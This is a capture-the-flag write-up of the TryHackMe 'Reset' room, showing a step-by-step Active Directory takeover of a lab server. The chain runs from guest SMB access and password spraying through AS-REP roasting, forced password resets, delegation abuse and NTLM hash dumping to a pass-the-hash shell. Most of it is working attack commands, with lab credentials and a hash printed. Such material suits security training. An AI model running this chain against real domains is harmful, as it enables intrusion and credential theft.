# Reset Writeup

Credit for this room goes to : [h4sh3m00](https://tryhackme.com/p/h4sh3m00) and [tryhackme](https://tryhackme.com/p/tryhackme)

In this room, we'll step into the shoes of a red teamer in a simulated hack challenge. We'll navigate a realistic organizational environment with up-to-date defenses, where we'll test our penetration testing skills, try to bypass security measures, and infiltrate the system.

From our `nmap` scan, using the tool [`nmapAutomator`](https://github.com/21y4d/nmapAutomator), we can see that the machine is a Windows server running Active Directory. Below is a snippet of the `nmap` results that will be most important for us.

```bash
 sudo nmapAutomator.sh -t Full -H 10.10.149.103 
```

```bash
                                                                                                                                                      
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-19 07:41:43Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: HAYSTACK
|   DNS_Domain_Name: thm.corp
|   DNS_Computer_Name: HayStack.thm.corp
|   DNS_Tree_Name: thm.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-19T07:42:35+00:00
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2025-07-18T07:32:24
|_Not valid after:  2026-01-17T07:32:24
|_ssl-date: 2025-07-19T07:43:15+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows
```

From the `nmap` scan we can see that the domain for this server is `thm.corp` and the DNS Computer name is `haystack.thm.corp`. Both of these domains we add them in `/etc/hosts`

```bash
10.10.149.103       thm.corp haystack.thm.corp
```

By using `crackmapexec` we are able to list the shares with a guest user as it is not disabled and does not require a password. We can see from the results that we are able to read and write in `Data` share drive.

```bash
crackmapexec smb thm.corp -g 'guest' -p '' --shares
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752932957897/e0f94d16-2992-4193-8746-babc7d27685d.png align="center")

To access the share drive we use `smbclient` and pass the guest user account with no password. In the drive we find a directory named `onboarding` and within the directory we find 3 files and we use the `smb` commands to download all of them.

```bash
smbclient //thm.corp/Data -U guest

# Download the files from smbclient
prompt off # this disables confirmation when downloading
resurse on # this is to download even sub directory data if they exist 
mget * # this is to download everything in the current directory 
exit # to exit the smbclient shell session
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752933066930/18559289-0660-4097-8129-3d599a6c03e4.png align="center")

Now that we have downloaded all the files to our local machine, we can see that the text file contains an email template. It appears to be intended for a new team member and includes a default password: `ResetMe123!`.

```bash
cat 4fx32pug.h2y.txt 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752933619887/bfa30973-512e-4be8-a30d-5ef4278590b5.png align="center")

Well we have a password but no user account, it’s time we find a user. As we noticed that the guest account is active we use impacket’s lookupsid to try and grab all the local and domain usernames in the server.

```bash
impacket-lookupsid thm.corp/guest@thm.corp -no-pass  |  awk -F '[:\\\\\\\\(\\\\)]' '/SidTypeUser/ {{print $3}}'   
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752933745946/6d86f697-87c0-46ff-829a-7e6277e72149.png align="center")

We save the list of users to the `users.txt` file for safe keeping as we may need it later. To find if a user didn’t update their password and still uses the default one we can use `kerbrute` or `crackmapexec` and in this case I used `crackmapexec` and found a valid user `LILY_ONEILL`.

```bash
crackmapexec smb thm.corp -u users.txt -p 'ResetMe123!' 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752933944887/3ddaddb9-b9f6-4e70-b2ab-04c1fbebc005.png align="center")

Even though we found valid user credentials, we couldn't use them because they were revoked. So, we need to find another attack path. Just like we used `impacket-lookupsid`, we will use `impacket-GetNPUsers`, which tries to collect non-preauth AS\_REP responses for a given list of users. This method is known as `ASREPRoasting`. From the list of hashes we obtained, we managed to crack the password for `TABATHA_BRITT` using `hashcat`, as shown below.

```bash
 impacket-GetNPUsers 'thm.corp/guest'@thm.corp -no-pass -request -usersfile users.txt 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934172092/917fbaae-b190-4157-be8a-527fbf872615.png align="center")

```bash
hashcat hash.txt /opt/wordlists/rockyou.txt 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934254212/592a41e6-8192-4c16-928f-f05cb42287a7.png align="center")

Now that we have a valid username and password we need an advantage which in this case is to use `bloodhound` to gather more information about our target.

```bash
bloodhound-python -d thm.corp -u tabatha_britt -p 'marlboro(1985)' -ns 10.10.149.103  -c all 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934357581/fb512eed-ec39-4195-a7ef-e1f7b4f203f4.png align="center")

To launch the Bloodhound web interface, use the following command. When you run `sudo docker-compose -f bloodhound.yml up`, you will receive a default password. The username will be `admin`, and you'll need to use the provided password initially, then reset it.

```bash
sudo apt update && sudo apt upgrade
sudo apt install docker.io
sudo systemctl enable docker --now
sudo apt install docker-compose
curl -L https://ghst.ly/getbhce -o bloodhound.yml
sudo docker-compose -f bloodhound.yml up
```

After logging into the interface, upload all the Bloodhound files and go to `Explore`. Instead of searching, click on `PATHFINDING`. From `SEARCHING`, we know that `CECILE_WONG` is part of the Domain Admins, so we need to find the path to her account.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934614294/b05b486d-3176-4cdd-bf74-cc7386363673.png align="center")

The snippet above shows that `TABATHA_BRITT` can force a password change for `SHAWNA_BRAY`, who can do the same for `CRUZ_HALL`. `CRUZ_HALL` can then force a password change for `DARLA_WINTERS`, who has permissions to delegate on the server. We use the following steps to change the passwords of these users.

```bash
net rpc password "SHAWNA_BRAY" "P@ssw0rd123" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.149.103"  
net rpc password "CRUZ_HALL" "P@ssw0rd123" -U "thm.corp"/"SHAWNA_BRAY"%"P@ssw0rd123" -S "10.10.149.103" 
net rpc password "DARLA_WINTERS" "P@ssw0rd123" -U "thm.corp"/"CRUZ_HALL"%"P@ssw0rd123" -S "10.10.149.103" 
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934775818/6fabe852-c1c9-46b1-b007-653ee01777a1.png align="center")

Now that we have `DARLA_WINTERS`' valid credentials we use `impacket-findDelegation` to list the delegation rights.

```bash
impacket-findDelegation thm.corp/'DARLA_WINTERS':P@ssw0rd123  -dc-ip 10.10.149.103
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934852771/13837c45-dccb-47fa-8290-d4ee95198ea9.png align="center")

From the list we choose the `cifs/HayStack.thm.corp` to impersonate an administrator and request a ticket on behalf of the administrator then save that ticket to `KRB5CCNAME` environment variable.

```bash
# Request ticket onbehalf of the administrator 
impacket-getST thm.corp/'DARLA_WINTERS':'P@ssw0rd123' -spn cifs/HAYSTACK.thm.corp -impersonate administrator -dc-ip 10.10.149.103

# Save to environment variable
export KRB5CCNAME=administrator@cifs_HAYSTACK.thm.corp@THM.CORP.ccache
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752934951336/b58a7306-f130-4d49-bcbe-e5f46a4ca0ca.png align="center")

Now that we have the ticket we can pass the ticket and dump the domain controller `NTLM` hashes for all the users.

```bash
impacket-secretsdump thm.corp/administrator@HAYSTACK.thm.corp -k -no-pass -dc-ip 10.10.149.103 -just-dc-ntlm  
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752935155328/ab742494-316f-4cb5-863f-248abf21f2c5.png align="center")

Final step is to use `evil-winrm` to get shell session with `CECILE_WONG`'s `NTLM` hash who is part of the domain admin users.

```bash
evil-winrm -u CECILE_WONG -H 067a84e5afaed843ed4a8fdac5facac3 -i thm.corp 
```

As you followed along, you'll notice that I didn't show any flags, and that was intentional. This write-up is meant to help you understand and develop the mindset of a penetration tester. We are not hunting for flags; instead, we are simulating real-world attacks. Keep practicing, stay curious, and let each challenge sharpen your approach to real-world security testing.